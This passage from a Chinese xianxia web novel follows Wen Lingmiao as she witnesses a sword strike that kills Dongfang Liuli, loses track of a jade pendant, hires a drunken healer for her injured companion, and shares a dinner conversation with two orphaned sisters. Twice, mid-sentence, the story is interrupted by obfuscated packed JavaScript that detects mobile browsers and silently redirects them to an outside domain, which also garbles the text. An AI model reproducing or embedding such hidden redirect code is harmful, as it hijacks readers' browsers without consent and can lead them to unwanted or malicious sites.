那剑一出,仿佛夺了天地万物的光芒,就连真正的朝阳在它面前也黯然失色。温泠淼才看去一瞬,就觉眼睛刺痛难忍,因涌入过量的光芒而短暂失明,耳畔响起尖锐的啸叫。 她从未见过,甚至无从想象这样的一剑,璀璨,却又极度危险。温泠淼一时痴了,竟忘记该如何闭眼,任由面颊上泪混着血不住流下,心中浮现一个不恰当的比喻,简直像科幻电影里的氦闪,又像太阳骤然膨胀百倍,化作耀眼巨物垂临人间,将所有渺小生灵尽数吞噬,化进光里。 除却光,她什么都看不见了,只能感受太阳风喷到面上的炽热。 下一秒,巨物骤然收缩,凝成剑尖一线,分明是早上,温泠淼却觉得失了第二轮太阳的天,就如夜一样黑,伸手不见五指,只有那线像黑纸上撕出的缝隙,刺目无比,而后,向着彩衣身影斩下。 东方琉璃在这杀出的程咬金前,也知大难临头,不知用了什么秘法,气息再度暴涨,将此前藏着掖着的各式阵法符篆不要钱样地甩出,但那剑终究来得太准,太快,太过霸道。无论多厉害的法宝,在碰到夺目剑芒的一瞬,便化作蒸汽散了。她咬牙一狠,最后祭出自己的本命武器万彩琉璃灯。那彩灯上三层琉璃脆片次第旋转,竟在她周身展开九层同浮光掠影阵相似的剔透阵法,其上灵力线尽数亮起,一看便是将防护开到最大。随后她眼睛一闭,化身元婴,就欲趁其拖住的时间弃身而逃。 但所有的努力,在这无情的一剑面前,都不过徒劳。一剑,万彩琉璃灯破,九层阵法脆若金纸,一触即散,一剑,撕裂她的身躯,一剑,破空而至,将她元婴追上,烧得灰烬都不剩。 一剑,斩东方琉璃。 12. 错过 元婴强者就这么轻飘飘地死了?在这突如其来的变故面前,所有人都有些迷茫。 难道是易姓男子的剑?温泠淼瞳孔缓缓放大,适应了只有一个太阳的黑暗,却再捉不到那道藏在耀眼剑芒后的身影,好似那一剑不过是幻觉般,她顾不得眼痛,目光再动,又看灰衣剑客身影还远在战场百里之外,显然也愣住了,垂着剑,一动不动。 不是他,温泠淼狠狠一眯眼,虽她对这些强者一无所知,但本能地察觉到,那剑瞬间的气息,比易姓男子强了不知多少。 莫非是那幕后推手?事情真是越来越有趣。难怪这人能隔岸观火,按兵不动许久,看来还是留了最后一手。她摸摸下巴,不知为何,总觉得有些可疑,怀着如此战力,他却不一剑直接把琉璃楼砍了,还要做这些弯弯绕绕。是用了秘法无法长时间维系吗,还是施展这招需要些条件? 温泠淼怀中的楚刀也探出了头,她方才看到的不多,却也感受到天上那如太阳垂落的气息,满心满眼都是震撼,喃喃叹道: “我什么时候也能这么强就好了,不对,我才不要用剑。” 温泠淼把楚刀按回怀中,又等了小半炷香的时间,待确认东方琉璃真陨落了,琉璃楼残余战力逃的逃,死的死,战况终于接近真正的尾声后。才扶她们站起,背上左槐,领着孩子们往城中走去。她将千般思绪压下,心中叹一句小孩还是不知道这些的好,便顺楚刀的话问道:“为什么不喜欢剑。” 楚刀跟在她身后走着,闻言,却不知为何情绪有些低落。“剑太正义了,切,谁要当那种守一堆规矩的君子,打架前还要纠结来纠结去的。他们还喜欢说什么剑心,剑道,麻烦得很。刀就很简单,只管杀,只管凶,只管变强就好了。” 她声音忽然低了下来,“何况,我太软弱愚钝,早就不是个君子了。” “傻孩子。”温泠淼自然知道她还在纠结什么,不去看她撇下的眉眼,边走边望向前方那座在归一万法阵笼罩下,永久安宁繁华的城池,静静道:“刀啊剑啊,都不过是经人手的兵器罢了,你要真去看它,至多也就一个单刃,一个双刃的差别,使用者的心,才是它们的心。” 楚刀本想说你个连魂契和储物戒都不知的人懂什么,那些灵剑自我意识可丰富可刁钻了,一旦剑心不纯粹,道义不合,就能让你拔都拔不出来。可是话溜到嘴边,她抬头看到温泠淼平静而含着无人可左右的意志,直视远方的眼,又忽然咽了下去。也许,她说的也没有错。 “你要真在意这些形而上的东西,那也可以说剑是双刃,伤人,也考验自己。但刀只有单刃,永远向外,一往无前。你既然叫刀,那便只需坚定自我,一直向前就好。”温泠淼讲着讲着却自嘲地笑了。也罢,她一个异界来客,哪能用自己都没想清楚的事带坏土著小朋友呢。 楚刀似懂非懂地点头,虽然她不知形而上是什么意思,但一往无前她懂,她脑中又浮现那天边耀眼的一剑,心中暗想,要是她能一直变强,比这一剑都强,那她便能保护所有她爱惜的事物,不会再落入什么两难境地。 许是大战已了,一行人再没遇上什么麻烦,顺利到了南门。城墙内外人头攒动,不少在这一夜失了亲友,家园被毁的人也想逃难入城,在门口排起长队。这群衣衫褴褛的小娃娃在其中甚至毫不起眼,只等候了一炷香的时间,便被放行入城中。 一进归一万法阵所在的区域,温泠淼便长长松了口气,再四下一看,不少人都有相似的动作,不由会心一笑。她和楚刀的交易也到此结束,孩子们欢呼着四散离去,只有楚刀楚盈两姐妹因与她的约定,留在了身边。第一次见这人世喧闹景象的二人都瞪直了眼,生怕在眨眼的一瞬就错过了什么好景。 由于阵法相护,外头争斗的余波攻不入城内,城中人流如织,热闹依旧。除却多了不少外来者,与平日没什么不同。不过若细看便能发现街头巷尾,贩夫走卒都在议论纷纷,对着城外一战品头论足。 温泠淼在城南中部好不容易找到一间尚未被外来者占满的客栈,开了间客房将左槐放下。惦念着他的伤势,温泠淼将两姐妹留在房中守着他,而后马不停蹄地向言刀赶去。她翻起兜帽,把脸藏在了阴影中,将手伸进口袋,摸了摸那枚储物戒。虽然她不太舍得,但应够问到药师的消息,或许还有机会换回那枚玉佩。 等她再赶到言刀楼下,却见门内人来人往,一扫此前的冷清,就连门前那座挂满风铃的红木架子处也聚了数十人,他们翻动着其上的短册,议论纷纷,神态各异。 温泠淼跟着人潮钻入店内,就见光是穿着言刀制服的侍者便足有五位,每人前面都排起长龙,可谓应接不暇,其中却不见燕昼身影。她目光隐晦地往楼上看去,楼梯上也挤满了上下穿行的人。果然城中势力,无论大小,都对这场好戏表露出十足的好奇,温泠淼将脸又往兜帽深处藏了藏,人多不是好事,万一有人不长眼看上了那枚玉佩呢。 还没等她找到燕昼那张永远带笑的脸,左肩却先是一沉,温泠淼侧目看去,就见那里不知何时停了一只滚圆的黄口麻雀。见她探究的目光扫来,麻雀小嘴一张,竟是口吐人言道:“客官您终于来了,请前往二楼戊号房,燕某在此诚挚等侯。” 肥雀说完话后,振翅一跃,先一步顺楼梯飞上了二层,像有意引导的样子,温泠淼微微挑眉,循着它的踪迹,进了熟悉的石室中。 那只宛如球上插了两跟牙签的肥麻雀最终落在室中人手上,温泠淼看去,却见熟悉的温润青年此刻正脚踩一张抹布,优雅地擦着地上不明血迹,俊秀的面上还挂着那副如沐春风的笑,只是微微抽动的眉毛暴露了他的不耐烦,还有一丝认命。 在接回麻雀的一瞬,他另一只手温柔抚上它脊背,待燕昼再将手移开,其后竟空无一物,麻雀不见踪影。而后他抬眼看向温泠淼,轻巧做了个手势,石室门便轰然合上。 做好一切后,他慢条斯理地把抹布藏起,换上狐狸般的笑容,向她示意:“坐。” 目睹一切的温泠淼只觉眼皮有点跳,但她已能对言刀内的一切古怪接受良好,她一落座,便单刀直入问道:“我来取回玉佩,你开价,还有,我要这外城最好的丹修或药师的消息。” 她声音刻意压得极低,嘶哑难听,配着斗篷上大片干涸血迹,看着格外骇人。 闻言,燕昼先给她身前的盖碗沏上滚水,这次是古树红茶,滚水一入杯,丰腴的花果香便扑鼻而来。他风雅又精细地做着洗茶的活,面上却带了虚伪的歉意,垂眼道:”哎呀,客官来得真是不巧,那枚玉佩在一刻前便以三百枚灵石的价格卖出去了。” 温泠淼一愣,简直不敢相信自己的耳朵,三百灵石,换一块凡石?哪个败家子疯了,还是忽然通货膨胀了。要知道这个钱,她现在都拿不出来。 难道那些情报的真实价格就是三百灵石,而言刀早算到会有冤大头上钩,所以当初给她提的代价是这个?可是她想破脑袋都不知那玉佩何德何能值这个价。 她勉强定了定神,沉声道,“可否要这购买玉佩之人的消息?” “对不住客官。”燕昼将茶碗推到温泠淼身前,面露难色道。“我们言刀从不会出卖客人的消息。” 温泠淼起身要走,指尖连茶碗都没碰一下。燕昼又忙换上灿烂的笑容,搓搓手道,“客官别急,这次的客人比较特殊,没要求保密交易。因此燕某虽能说的不多,却可在言刀规矩范围内向客官透露两件事。” “其一,那位客人是男性。”燕昼想起一刻前还在房中的身影,不自觉牙痒,笑得更为灿烂,但旁人怎么看怎么觉得有些狰狞。说到底,他被丢来这小地方有那人三分助力,没想到好不容易再见,不陪罪就算了,还一副死人脸把他最爱的待客室弄得到处血渍,也就怪不得他多嘴了。“其二,他腰上挂了两把剑,一黑一白。应该是剑修。” 温泠淼脸色彻底黑了下去,还以为他藏了什么大秘密,这世界上一半人类是男性,修道的七成为剑修,燕昼这话虽真,但说了和没说一样。 但她心中却有些奇怪之感,选择不保密,未免太刻意了些。是自信于这等小事不会有人追究吗,还是认识玉佩原主,想要留下一缕信息呢?后者的概率如此之小,有这个可能吗? 可惜,她未能继承原身的记忆,也无法从书中得知原身这个早死龙套的信息,不知她认识何人,关系如何。温泠淼不动声色地浅酌一口茶,云雾蒸腾而起,掩了她眼中光芒变幻。唯一见过面想起些东西的人,只有原身的道侣了。 是他吗?若这玉佩对二人有极深的意义,那豪掷三百灵石也并非不可能。温泠淼细细将记忆过了一遍,不,应该不是,她在山上虽离得远,但还是看到了他腰间只一把玄黑的单剑。况且在原书中他用的也是单剑,从未换过。 虽然她没经历过,不理解,但按小说设定,修士一般不会轻易更改自己的惯用武器,特别是剑修换剑,轻则战力大打折扣,重则剑心受损,无法再持剑。因为对剑修而言,选定了一把剑,便是选定了自己的心和道,要一生坚持,贯彻始终,也难怪楚刀会说剑修麻烦。更何况是单剑换双剑,几乎是闻所未闻。 罢了,这些天在城中留意便是,修仙界少有修双剑的,还是一黑一白两剑,该有人见过且能记住他。温泠淼将茶碗轻轻搁下,垂了眼,藏住里面生出的一丝惋惜,随后唇角勾了个自嘲的弧度,或许,她同那块石头的缘,就到此为止了。 再次谢谢你,凌泠,对不起。 最后,在燕昼的死缠烂打下,温泠淼忍痛花五十两银子委托他请外城最好的药师上客栈看病三日。这世界的医疗发展相当落后,修士恢复基本靠灵力,灵力修不了的吃丹药。若要仔细些说,丹药分为丹和药两种,前者,就算是最低阶的丹丸,也是有价无市。 由于丹修成丹品阶与实力挂钩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413788|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因此丹修必然是修士,且培养丹修需大量的药材和传承,一般非大宗门大世家无法支撑,因此丹修基本上只出于大势力,并终身为其服务。而这些丹修的产出已基本上被垄断,鲜少有通过层层封锁漏到平民散修手里的,就算有,也会被炒到天价。 王麻子那些丹丸应该是仰仗琉璃楼获取而来。温泠淼也不是没动过花钱买丹的心思,但苦于找不到门路。传言第三城外城有位专为平民散修炼丹的素心仙子,温泠淼向燕昼一问,排期也到了十日之后,而这个时间,她和左槐都等不起。 丹修之下是药师,药师可通过调配低等级的灵草以制灵药,灵药药力虽不如丹丸精纯,却也足以应付一般低阶修士和凡人的伤病。最重要的是,药师不需修炼,懂药性即可。而药性,是可通过书籍和师传学习的,因此药师人口基数不少,多数人的小伤小病都倚仗他们。 走之前,温泠淼犹豫再三,还是试探地问是否有昨夜事变相关情报,燕昼却是笑盈盈地说去看百铃墙上的公共消息即可。 “您算是距离战场最近的幸存者之一,燕某虽相信客官本事,昨夜还是忍不住向司命上神祈祷良久,生怕今日无法再见客官呢。您这么聪明,若要您都不知的东西,代价便不是很容易支付了。”燕昼话音温和,但总有些难明的意味。“况且有些好戏,远远看着舒心,以客官目前的实力,探究得太深,未必是件好事。” “多谢。”温泠淼自动过滤他话里那分阴阳怪气味道,言刀的忠告总有些道理,燕昼这么说,她也不会不识好歹。 她起身告辞,随后下了楼,悄然挤入百铃墙前的人群中,向人聚得最多的风铃看去。 果然,短册上是城主府发的消息。大致向城内外被无端波及的百姓解释了来龙去脉,说是与琉璃楼有私人恩怨的义士在潜入其中后,发现楼主东方琉璃最近宠幸颇多的男宠身份竟是魔族,并暗中布设八重噬阵妄想暗中侵蚀归一万法阵。 义士一怒之下杀死男宠后逃回第三城内,冲破琉璃楼阻拦,上报城主府。城主府故而联合为宗门大选而来的上三宗使者前去夜袭琉璃楼,并将东方琉璃就地斩杀。如今已把琉璃楼残余势力铲除干净。 温泠淼眼习惯性眯起,按理说这消息虽是由城主府颁布,但能上百铃墙,也会经言刀的核验,证明其所述无假。 不过她总觉得有些疑点,部分的真话亦有巧言令色的空间。例如她隐约感到,这消息在把读者往刺客是临时起意上引导,但据她所知,刺客实力逊于东方琉璃等高层,要在他们眼皮底下独杀一人,非事前谋算不能成。 算了,燕昼说得对,她现在的实力,还不好去触碰这些背后的暗流。但她总控制不住为有趣的事多思考几步的癖好。温泠淼从短册上移开目光,正欲从人群中挤出,却敏锐地在一片私语声中捕捉到了不和谐的东西。 “嗐,城主府这帮狗东西说的好听,实际上早就和琉璃楼蛇鼠一窝,哪里劝得动哦。我听说是那义士血谏城主府时,上三宗长老正好也在府上,我们那乖乖城主让人家把家丑听了个遍,才不得不出来做做样子。” 这声音听着像来自中年男性,还带了长期烟酒熏出的呕哑,其中并未感知到灵力波动,说话者该是凡人。温泠淼停住脚步,装作回头去看百铃墙上的消息,兜帽下的耳朵却竖了起来。 “呸,白老弟,你别以为上三宗是什么好东西,我听说当时晞月和咸池都不愿动,只有渊山的长老把他们这群缩头王八锤了个遍,才把他们不情不愿地锤上了战场。” “这些修士大老爷们从来懒得管咱平头老百姓的死活,归一万法阵要破,你以为他们会在意,反正他们有能耐,早不知逃哪去了,倒霉的只有咱这些没法子修炼的。”另一道中年男性声音加入,听着高亢又尖酸,“要我说,若不是渊山的钧天半仙压着,他们巴不得这阵破呢。唉,也就渊山还惦记着咱们了,听说归一万法阵也是这钧天半仙千年前设的,你说她要知道心血被这些尸位素餐的家伙践踏,还不得气死。” “嘿,我就奇怪了,”一青年男性的声音插进,打断二人慷慨激昂的讨伐,“他们修士讲话都拿什么阵法什么传音藏着噎着的,你们怎么说得像扒人床底下听的一样。” 看来指点江山者无处不在,就算是修仙界也不能免俗,温泠淼眉头一挑,但这几人说的也给她提供了一些思路,宗门施压在这场好戏中或许重量不小。 而且,他们这些一分真,九分假的话至少透露了在宗门那边,情况也并不乐观。多年的太平里,一些宗门的形象早已在民众心中腐烂。 腐烂并非没有来由,长久缺乏外部危机,必然会滋长骄纵和怠惰。但至少还有渊山,巍巍峨如太岳,身为最纯粹正直的万宗之首,千百年来,风度依然。 温泠淼神色一瞬晦暗难明,她低笑一声,转身离去。渊山吗,若她是十几岁出头的少年人,她会信,可惜她不是。 13. 夜谈(一) 温泠淼在路上买了几套干净衣物后便回了客栈,命两姐妹在药师来前洗沐一番,既然留她们在身边,虽只是出于交易,但也不能总让人保持着一副小乞丐样子。 然后她就满意地得到了俩干净秀气的粉娃娃,楚盈虽然性子沉默,但也礼貌可爱。因着她没有灵根,无法修炼,温泠淼便给她挑了凡间女童爱穿的花衣裳,淡绿色的裙子衬得她一双大而圆的杏眼十分水灵。想着深秋天转冷得快,温泠淼还顺手给她带了件雪白的兔毛袍子,让两姐妹掂着左看右看,既惊喜又好奇。至于楚刀,她要走修士一途,自然是以行动方便为主,于是温泠淼只给她准备了坚固耐用的麻布衣服,暗袋颇多,活像个小童工。 至于她自己,则还是添了几套一模一样的麻布斗篷,多的便收进储物戒中,以备不时之需。 两姐妹收到这份意想不到的礼物,心中是激动又忐忑,没想到这个怪人还念着她们,但天下毕竟没有免费的午餐,她们相遇不到一日,还不太愉快。不会天真地以为这是她在释放善意。 就在还不知姐姐与她之间摩擦的楚盈昂着小脸,怯生生地向温泠淼道谢时,她却是稍微愣住,随后眼柔和地弯起,摆摆手说不算什么,你俩以后赚大钱了还我套好灵袍就行。 楚刀忽然也很浅地笑了下,朗声应了句“好。”也许是回到安全区域的缘故,她忽然觉得这人好像稍微卸下了厚重的心防,其实也没有在洞窟里看着那么遥远。 这人啊,虽看着古怪又冷漠,善心不多,还净爱说些听不懂的东西,但要真赖到底,该还是有些心软的。 到了这一刻,楚刀才放松了些许,往嘴里塞着客栈小厮刚送上来的甜点,边吃边忍不住偷瞧对面洗去一身血污的温泠淼,发现这好像是她第一次看清这人藏在斗篷和尘灰下的面容。 出乎意料地,那是一张相当漂亮的脸,虽病气浓重,两颊干瘪深陷,见不着一丝血色,反倒是唇上眼底一片乌青,但五官生得极好,不知为何让人觉得又冷又端丽,楚刀只悄悄扫去一眼,就像被钉子勾住了样,差点看痴了,见她注意到自己目光,楚刀赶紧做贼心虚地把眼移开去。 真可惜,这人顶着一副好脸,却要么总是一副思虑深重的老人样,要么就忽然发出那种让人心底发毛的笑声,真是暴殄天物。若她能做些这个年纪该有的灿烂表情,不知该有多好看。 说到年纪,原来她也没比我们大多少啊,还病弱干瘦到有些吓人,看来日子也不好过。楚刀趁着拿手帕擦净楚盈唇角糖屑的空隙,又装作无意往温泠淼那边看去,心底忽然泛起复杂的情绪。 约莫一个时辰后,言刀请的药师便敲上了门,温泠淼将斗篷翻上,才走到门前,便鼻子一痒,嗅到一阵浓烈的酒气冲来,让她藏入阴影下的眉又皱了一下。 她警惕地将门拉开一半,往外瞧去,就见走廊上站了个酒气熏天,半梦半醒的中年女子,眉不由锁得更深。她两年工资请的,外城最好的药师,竟然是这幅酒鬼样子,言刀究竟靠不靠谱。 但一见门开,中年女子就不客气了,她把腰间小药箱一甩,摇摇晃晃地双手一撑房门,就以无法拒绝的架势挤入房内。中年女子还探头进来,眨着醉眼,四下打量。一见温泠淼,便将她从头到脚扫了个遍,而后口齿不清地嚷嚷起来,“嘿!这是哪家小姑奶奶,膝骨裂这种小伤都要请我来,搞没搞错。” “不对。”中年女子忽然不知哪里起了兴致,声音一收,把脸凑到温泠淼身前,鼻头颤动,夸张地嗅闻着,“你,有不治隐疾,还很少见,不不不不不对,这味道是…?难道你最近医好了,这怎么可能?嗯,让我看看你都用了什么药,四瓣回魂花,七星换骨草,碧落生魂枝,好家伙,你身上竟然还有五阶丹药的气息,嘿,还不止一颗。诶!小姑娘你别躲这么远,让我再闻闻。” 温泠淼放下按在剑鞘上的手,右臂灵穴悄然熄灭,解除战斗准备,脚步一错,就退到了房间角落里。她人虽躲远,眼却亮了起来,果然还是有些本事的,便沉声示意道:“您就是浊手药师罢,在下并非您需医治的病人,床上那位才是,劳烦您费心了。” “哦,哦,好好。”中年女子有些不舍地应了,踏着七扭八歪的步子走到房中唯一的床前。她一瞧那上面躺着的人,酒便被吓醒了一半,忙摆手叫道,“哎哟喂,我的天哪,小姑奶奶哪里找的伤恁子重的来唷,这生意做不得做不得,你那点银子草药费都不够。” 她还装模作样地摇头哀叹,“唉,早知道就不中那小子的美人计了。” 那小子,燕昼,美人计?温泠淼艰难地把这三个词联系在一起,感觉自己的脸一瞬间有些扭曲。 中年女子能一眼看出原身的身体状态,还能感知其用药情况,自然不可能被左主管身上这些凡物造成的伤难倒,在这叫唤,无非是对报酬不满罢了,好在她早有准备。温泠淼将王麻子储物戒中的草药和丹丸尽数摆在桌上,虚虚拦住作势要走的中年女子,压低嗓音道,“只要能医好他,这些丹药您可随意使用,若能让人在两日内醒来,您还可从其中随意挑两样东西带走。” 浊手药师一听,眼睛亮起,凑到桌前,搓着手细细数过去,“一阶下品蕴体丹,一阶下品回灵丹,生骨止血草…东西还不少,虽然品级不高,但也够用。嘿,你早说啊,这点小伤,别提两日,我一天就能给治好。” “那便麻烦药师大人了。”温泠淼拱手示意,她对这些丹药说没有贪欲是假,然而再过一日便是宗门大选,她不可能为守左槐而再等一年,若在此之前能让他醒来,自然是最好。 浊手药师只在房中待了不到两个时辰,就让左主管的状态发生了翻天覆地的变化。她一开药箱,入了状态,便不复烂醉样子,配药,接骨,针灸,信手拈来,极为老练。 一套疗程下去,左槐面色竟真的红润不少,眼睫微颤,有几分醒来的趋势。温泠淼倚在墙上边运灵恢复,边暗中将药师的神奇尽收眼底。浊手药师取了那株她唤为生骨止血草的药,配了其他四五种不知名干花,研磨配置成灵药,才一敷上左槐的伤处,其下的肌肉和皮肤竟开始自我生长愈合,等她再擦去被吸干效力的药泥时,那处肌肤竟已恢复了从前样子。就连内部的骨伤,也在她的妙手接骨和一颗蕴体丹作用下恢复不少。 温泠淼在心中啧啧称奇,若有机会接触到,她未来也想练练哪怕最基本的丹药技能。要能学会这些,多几条命都不是夸张的说法。 可惜在外城这半月,她几乎没找见过有关灵草灵药的记载,能给他们这些凡人接触到的,至多也只是类似前世那些普通中草药的东西,不然她现在也不会守着一个储物戒的丹药,却不知如何用起。 看来丹药相关的传承,还得去宗门,在修士的世界中寻。 在温泠淼加了酬劳后,浊手药师心情颇佳,走之前顺手把温泠淼的骨伤治了,还依她的嘱托看了眼两个小孩子,最终只兴意阑珊地说有些营养不良,往后多调养即可。 “倒是你,”中年女人收好药箱,意味深长地往温泠淼身上看去一眼,“我从未听过魂衰有治好的先例,有趣,有趣。你之后若有不适,可以唤我来帮看看,我给你免费。” 温泠淼不置可否,动了动嘴角,这药师未免也太多话了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413789|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。原来原身的不治之症是这个,她总不能说最后也没治好,只是换了个芯子吧。 另外,浊手,素心。她眼中光芒微动,这二人的名字,会是巧合吗? 这晚,终于想起已两日没吃正经饭菜的温泠淼念两小孩才从久饿中解放出来,肠胃脆弱,在房中点了份野鹌鹑粥,配五碟小菜吃。 自然,油盐辛辣齐全的小菜全归温泠淼一个人,可把两姐妹馋坏了。 温泠淼嘎吱嘎吱地嚼着山鸡炒黄豆,默默评价手艺远不如聚福小馆。 “哎哟,烫烫烫!”旁边坐着的楚刀饿极,一个猛虎扑食,却不小心被刚舀上来的滚粥在嘴皮上烫了个泡,她赶紧运起灵力修复,还不忘装小大人嘱咐身边的楚盈。“你要慢慢喝,不能学姐姐,知道吗。姐姐有灵力,被烫了马上能好,你没有,要痛好几天呢。” “你们日后什么打算?”温泠淼看两姐妹,冷不丁地问了句。楚刀有灵根,且实力不低,应是能在大选上进个好宗门,而作为凡人的楚盈,不会被仙宗那样的修士地界接纳,且没有实力的她,很难在没有归一万法阵庇护的地方生活,最好便是留在第三城中,同她们分道扬镳。 其实,就算是在第三城里,孤身一人的孩子也难以生存,她年纪尚小,或许不该跟来。 “还没想好,”楚刀知她意思,眉眼低落了起来。“我们,不是自愿走的。村里老先生说我们年纪大了,不能再留下。来这里,一是为宗门大选,二是想着在归一万法阵下,楚盈也能安全一些。” 温泠淼微微皱眉,大了,七八岁的孩子算大吗? “姐姐们别担心,我可以养活自已。”楚盈乖乖地小口小口吹着粥,眼神亮晶晶的,很是认真,“我会的可多了,我能烧火,刷锅,洗碗,切菜,没钱了还能去酒家打工呢。” 闻言,温泠淼心中一动,倒是想到了个好去处。但她先按下心思,微微侧过头去,向楚刀问道,“你呢,可有想去的宗门?” “我志在上三宗。”楚刀心不在焉地用木勺在粥中搅着,眼神却逐渐坚定,“我要变强,只有这样,才能保护妹妹,才能不被逼着,向自己的软弱妥协。” “渊山是剑宗,我无意于渊山。何况这第一的位置给他们坐得未免也太久了些,去那没意思。我爱好不多,把第一扫下去算是一个。”她说这话时,朝温泠淼狡黠一笑,露出两颗尖尖的虎牙,莫名有些狂气。 温泠淼微微点头,心中暗道有这爱好的可不止你一人,巧了,漱玉还有个妖孽也这样想。 她最终还是没有多话。虽然楚刀天赋不错,又身怀一些秘密,有成为强者的潜能,但她无意邀她来漱玉,因为她知漱玉强,完全仰赖于谢星君,楚刀若去了,不会有比上三宗更丰厚的资源,她该去能让她大放异彩的地方。 至于谢星君那样的天之骄子,宗门资源已不重要了,天资运势摆在那,只需坐等机缘送上门来。 “大人呢?按您的性子,该不会一直留在第三城内罢。大选结束后,您是要继续云游散修吗?”想到此去一别,修仙界之大,不知何时能再见,楚刀竟有些怅然。 “我?”温泠淼见这小孩居然真在念着自己,心中微动,决心逗逗她们,于是反问道,“我看着不像要参加宗门大选的吗?” “什么?”闻言,楚刀差点被粥给呛到,放下碗,目光难以置信地上下将温泠淼扫了好几圈,犹豫道,“莫非大人您还不到十岁?不可能吧,怎么长这么高的,不对,脸和声音也都不像啊。” 温泠淼这下搬石头砸自己的脚,笑容一僵,“成年人自有超大龄儿童通道。” 14. 夜谈(二) 楚刀一时被她的语出惊人噎住。反倒是闷声喝完碗中粥的楚盈歪着头,脆生生问道:“大姐姐想去哪个宗门呀,要不要和我姐一起?” “漱玉,”温泠淼直截了当地答道,“我天赋不如你姐,去个小宗门混混正好。” 楚刀和楚盈二人对视一眼,绞尽脑汁在脑中翻了半天,才记起第三城附近似乎是有个叫这名字的小门派。 楚刀这才反应过来,一些缺人的小宗门是会为超龄人士安排特殊考核,但要比普通渠道难上许多。但她又实在想不明白,这人为何宁可多些麻烦,也一定要进宗门。她总觉得其性子和宗门二字实在相差甚远。 “为什么?”也许是那些不着调的玩笑话,冲淡了温泠淼在她心里留下的忌惮,餐桌上的气氛也活跃不少。楚刀毕竟还是个孩子,警惕心一卸,便嘴快将心中的疑惑问了出来。 温泠淼思索一会,一本正经地道:“这个嘛,我从言刀那得了消息,下一个绝世强者不久后将在漱玉横空出世。我打算去近水楼台先得月。” 楚刀扁扁嘴,真假先不论,这人思路相当奇怪,怎么能把去当狗腿子说得这么理直气壮。她这时想起自己的职责,小大人样劝道:“强归强,您知道他是怎样的人吗,万一是个蛇蝎心肠的,您凑上去岂不是要先遭殃。 “大人有所不知,百二十年前,前下九宗之一的春剑,便是被他们当天才培养的三师兄为血祭晋升屠了满门,最后还是上三宗联合,才将那修了邪功,误入歧途的天才镇压下去。此后世上再无春剑宗,只剩废墟一片。 “而这三师兄在出事前,可不就是个绝世强者嘛,最后身边人下场却没好到哪去。” 修仙界的孩子都这样吗,年纪轻轻,看事情却很透彻,一点天真幻想都没有。温泠淼没想到反被她教育了一番,有些失笑,随后便为如何向小孩解释网文人设犯了难,她小心斟酌着词说: “我是知道一些,她人挺好的,清冷大师姐那类吧。” “清冷是什么意思?”楚刀自然不会被这个不明所以的回答满足,老气横秋地指点道,“大人啊,您看人还是要具体些,比如,她对身边人好不好?” “很好,”她的问题,好像打开了某个尘封的秘密般,让温泠淼难得微笑起来,注视着楚刀,却又像穿过她,投向遥远时空彼岸的某个地方。“心高洁若冰是为清冷,清冷的意思,我想,是极致的纯粹吧。她对所有人都很好,可能对自己不太好。” “怎么说呢,她是个很善良的天才,往往对正义偏执得有些好笑。”分明在谈论未来的事,但温泠淼的语气却有如回忆,藏了一丝楚刀听不明白的,深切的怀念。“她很聪明,无论是什么样的绝境,总有奇迹般解决一切难题的能力。她也很孤独,因为她太过厉害,没人能替她分担压力,所以她永远只会把所有责任默默扛在肩上,就算自己快被压垮,也不会说一声。” “我和她很不一样,她是我年轻时会想成为的人,但后来现实告诉我,我没那么厉害,担不起太重的东西,也无法一次又一次相信不可靠的事物。所以现在的我,想着自己能好好活下去就行。” 温泠淼伸手揉了揉楚刀的头发,也不去解释,像只在说给自己听,不知为何笑得特别温柔。 “若见你的是她,估计第一眼便会直接把你放了吧。我就很卑劣,会使唤一个丁点大的孩子。” “我觉得你做得没错,虽然我不喜欢,但谨慎总是对的,万一我反水呢?” “她选择放你的前提是她有能力担负这个决定给她带来的一切后果。”温泠淼手指微屈,轻掸了一下楚刀脑门,“反水她可不怕,下一秒就能把你这小不点解决了。” 楚刀被她一敲,虽不痛,但也极为不满,把她的手赶开,嘟囔道:“好吧,听上去人还不错,但跟我不是一类人,还是难以理解。” 温泠淼笑笑,“她是完人,我是只为自己欲望奔走的俗子,世界需要她这样的人,但不需要我。 “我能做的,大概只有助她越走越高。总有一日,她会站在世界的顶端,像太阳一样照耀天地。然后我呢,就在高个子撑起的天底下安心活着,顺带完成点自己的小目标。” “这种消息都从哪知道的,讲得跟街头说书的一样。言刀还卖这些?”楚刀不知这人怎么忽然神神叨叨地说了一大堆,一时接不上话,只能撇嘴暗道。 谁知吐槽再小声,也被温泠淼听了去,她眼睛一眯,嘴上又开始跑了起来:“那有什么,言刀无所不能,我还知道她最喜欢吃漱玉山脚下一小酒家的灵豆尖汤,哦,还喜欢第一城南主街上一个刀疤脸小贩做的糖画,还有…” “停停,”楚刀及时打断,“够了够了,这些好像不用知道。” “这可是接近目标的第一步。” 一场简单的晚饭,却将三人的关系意外拉近了许多。特别是最后,温泠淼从楼下拎上来几壶给未来十日准备的酒,却在嘴馋尝味的第一口便被无情放倒了。 “姐姐,她这是…”楚盈有些担忧地看着趴在桌上,指尖蘸着酒水,阴暗地画小人咒在修仙界打过交道的所有奸商的温泠淼,扯了扯姐姐的衣角问道。 